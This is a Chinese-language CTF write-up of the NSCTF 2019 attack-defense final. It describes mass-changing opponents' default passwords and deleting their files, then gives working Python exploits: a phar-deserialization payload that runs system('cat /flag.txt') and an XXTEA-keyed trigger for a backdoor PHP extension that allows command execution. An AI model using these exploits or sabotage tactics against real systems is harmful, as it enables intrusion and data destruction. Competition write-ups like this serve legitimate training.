CTF 安全

NSCTF 2019 TechWorld 线下总决赛 WriteUp

前言

在北京玩了场线下赛,原本打完再去成都打国赛总决赛,然而临时有事只能返程了。

线下采用 AWD 赛制,总共 2Web + 2Pwn,比赛总时长为 4 小时,高校队伍和企业队伍混打。

题目打包下载链接:nsctf_2019_final.zip

比赛情况

大致分工:我负责看 Pwn,两个队友负责看 Web

拿到靶机登录信息,一看密码是默认密码,还有加固时间,所以应该是选手需要自行修改靶机登录密码的。

因为以前准备了批量改密码的脚本,所以加固时间结束后我还是随手跑了一下。

本来还觉得大家应该会修改密码,然而事实却是,我直接将 6-7 支队伍的靶机密码给修改了,手上拿着 20-30 台靶机。

然后直接上 getflag 的脚本,同时删除对方靶机上的文件,让对方 check 失败导致丢分。

看到比赛平台提交 flag 的地方,竟然需要验证码。好吧,叫一个队员负责手动交 flag

就这样搞到了比赛结束,最后拿了个一等奖。然而一道题都没做出来,好菜呀。

比赛中途才得知,靶机不能进行重置,心疼“一开赛就宣布结束”的队伍。

比赛结束后,众大佬过来围观,我知道大佬们背后都藏好刀了,害怕。哈哈哈哈。

Web 1

这题队友看的。比赛的时候,队友有源码进行比较,不过没思路。

我赛后看了一下这题,并不难,都是接触过的点,源码差异部分都是出题人改的。

带上 url=guest 注册账号后在 profile 页面即可上传文件。

上传文件后的文件名,通过服务器时间可以算出来。服务器时间可以在相应头 Date 获取(需要加上时区),也可以直接使用靶机时间(所有队伍的靶机环境一样)。

然后 Server.phpfile_existsRequest.php__destruct,能想到 phar反序列化

关键点是构造反序列化,触发 Request.php 文件 _applyFilter 函数里的 call_user_func 方法,任意函数执行。

附上 EXP

import requests
import random,string
import base64
import struct
from base64 import *
from datetime import datetime
import time
import binascii

phar=b64decode('PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrQAAAAAQAAABEAAAABAAAAAACaAAAATzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czo2OiJzb3VyY2UiO3M6MTM6ImNhdCAvZmxhZy50eHQiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fQgAAAB0ZXN0LnR4dAQAAAAaNzldBAAAAMenizu2AQAAAAAAAHRleHR2gTUYn1u4JMuKl86ty6G9f0s6/AIAAABHQk1C')

def randstr(length=8):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))

s=requests.session()

front_url='http://172.20.103.101/admin/register.php'
url=s.get(front_url).text.split('action="')[1].split('"')[0]

payload={'name':randstr(),'mail':'%s@aaa.com' % randstr(),'url':'guest'}
headers={'Referer':front_url}
r=s.post(url,data=payload,headers=headers)

front_url='http://172.20.103.101/admin/profile.php'
url=s.get(front_url).text.split('action="')[1].split('"')[0]

files={'file':('test.jpg',phar)}
payload={'screenName':randstr(),'url':'guest','mail':'%s@aaa.com' % randstr(),'do':'profile'}
headers={'Referer':front_url}
r=s.post(url,files=files,data=payload,headers=headers)
server_time=int(datetime.strptime(r.headers['Date'],"%a, %d %b %Y %X %Z").strftime("%s"))+60*60*8
filepath='phar://usr/uploads/'+time.strftime('%Y/%m',time.localtime(server_time))+'/'+str(binascii.crc32(str(server_time))&0xffffffff)+'.jpg'
print filepath

url='http://172.20.103.101/index.php/action/xmlrpc'
headers={'Content-Type':'application/x-www-form-urlencoded'}
r=s.post(url,data=filepath,headers=headers)
print r.text.split('</methodResponse>')[1].strip()

Web 2

这题也是队友看的,也没做出来。

比赛结束前一小时,放出提示“administrator/info.php 里可以看到有个后门 so 文件,需要进行逆向,涉及 XXTEA 算法,提供了 XXTEA-Python 库方便写脚本”。

然后我就开始看这题,比赛结束前10分钟,根据 dec 解密函数写出了 enc 加密函数,不过不知道怎么调用。手上也没有 php 的源代码可以参考。

赛后搜索有关 php so 开发 的相关资料,原来关键函数是在 php 文件被解析前自动调用的,所以随意调用一个 php 文件即可,该后门可以进行任意命令执行。

附上 EXP

import requests
# pip install xxtea-py
import xxtea
import urllib
from datetime import datetime


def dec(data,mask):
    for i in range(102):
        tmp=data&mask
        mid=0
        while True:
            mid^=tmp&1
            tmp>>=1
            if tmp==0: break
        data=((2*data)&0xffffffff)^mid
    return data


def enc(data,mask):
    for i in range(102):
        old=data&1
        new=bin((data>>1)&mask)[2:].count('1')%2
        if old!=new:
            data=(data>>1)+0x80000000
        else:
            data=(data>>1)
    return data


url='http://172.20.103.102/configuration.php'
time=(int(datetime.strptime(requests.get(url).headers['Date'],"%a, %d %b %Y %X %Z").strftime("%s"))+60*60*8)/10*10
print time

time=str(enc(time,0xdeadbeef))

key='hacker'+time
key=key.ljust(16,'\x00')

enc=xxtea.encrypt('echo file_get_contents("/flag.txt");', key)

url='http://172.20.103.102/configuration.php?a=%s&b=%s' % (time,urllib.quote(enc))
print requests.get(url).text.split('\n')[0].strip()

Pwn 1

比赛的时候看这题,比较简单,能够直接泄漏 libc 地址。

本来打算 fastbin attack,覆盖 fdmalloc_hook 前面,然后看到 double free corruption tcache 2 傻眼了,因为 tcachelibc 2.26 才引入的。

有关 tcache 的题目,我只做过一道题,而且手上也没有 libc >= 2.26 的源代码给我参考。

赛后团队里的pwn师傅提示:题目环境用的是 libc 2.29,塞满 tcache bin,再传统 fastbin attack 好像 20 次不够,需要 21/22 次。需要结合 malloc_consolidate 来做。

有待研究才能解出本题。

Pwn 2

还没看。

赛后团队里的pwn师傅提示:好像是出题人自己实现的一个分配方式。

有待研究才能解出本题。


标签: CTF 安全

Comments